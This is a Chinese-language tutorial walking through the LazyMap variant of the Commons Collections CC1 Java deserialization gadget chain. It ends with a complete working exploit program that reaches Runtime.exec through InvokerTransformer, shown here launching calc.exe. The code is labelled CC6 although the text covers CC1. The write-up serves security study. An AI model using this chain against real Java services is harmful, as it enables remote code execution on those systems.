续接上一次写的CC1分析,后继续学习其他CC链的利用方式,以及代码分析。
CC1
因为上次使用的CC1链利用的类是TransformedMap这次使用另一个Map

然后这次使用的是ysoserial项目中的payload

从LazyMap.get()后面的过程,就是调用transform()方法的过程跟上一个文章分析是一样的,就不多写了,这里只分析前面的部分。
上面的同样调用了AnnotationinvocationHandler这个类,但是这里的链子当中,AnnotationinvocationHandler调用了两次,一次是调用了其中的readObject()方法,应该是用来反序列化调用。还有一个时invoke()方法调用LazyMap中的get()方法。
看一下在LazyMap中的这个get()方法
public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {Object value = factory.transform(key);map.put(key, value);return value;}return map.get(key);}
进入就是if判断这个map集合中是否存在这个指定的key,如果存在就跳过if,直接return map.get(key)
如果没有key,那么会创建一个key,也就是只要执行到get()方法的时候,找不到这个key就可以成功进入执行transform()方法。现在就是找哪里调用了get()方法
根据payload中可以看到是在AnnotationinvocationHandler类中的invoke()方法

且这个memberValues是可控的,private final Map<String, Object> memberValues;

然后就是这里来调用get()方法,
现在继续向上,怎么才能调用invoke()方法,
看流程是Map(Proxy).entrySet,这里要去了解一下关于代理的知识点了。
Proxy是在使用时会自动调用InvocationHandler的invoke()方法的。
关于
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
<font style="color:rgb(77, 77, 77);">newProxyInstance()</font>的三个参数,第一个:使用LazyMap.class.getClassLoader()加载器去加载代理对象
第二个参数:动态代理类需要实现的接口
第三个参数:h动态代理方法在执行时,会调用h里面的<font style="color:rgb(77, 77, 77);">invoke</font>方法去执行
<font style="color:rgb(77, 77, 77);">invoke()</font>方法也调用了,因为还是要调用AnnotationInvocationHandler中的readObject(),所以还是跟上一条链子一样,创建一个对象,最终要序列化的就是它。
annotationInvocationHandler.newInstance(Override.class, mapProxy);
这次对注解没有要求,只需要传一个就可以。因为这次的不需要进入if判断,调用不用进入判断。所以是无所谓了。

完整攻击代码
package CC6;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CC6 {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})};Transformer chainedTransformer = new ChainedTransformer(transformers);// chainedTransformer.transform(Runtime.class);HashMap map = new HashMap();Map lazyMap = LazyMap.decorate(map, chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);annotationInvocationHandler.setAccessible(true);InvocationHandler h = (InvocationHandler) annotationInvocationHandler.newInstance(Override.class, lazyMap);Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);Object o = annotationInvocationHandler.newInstance(Override.class, mapProxy);serialize(o);unserialize("cc6.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}
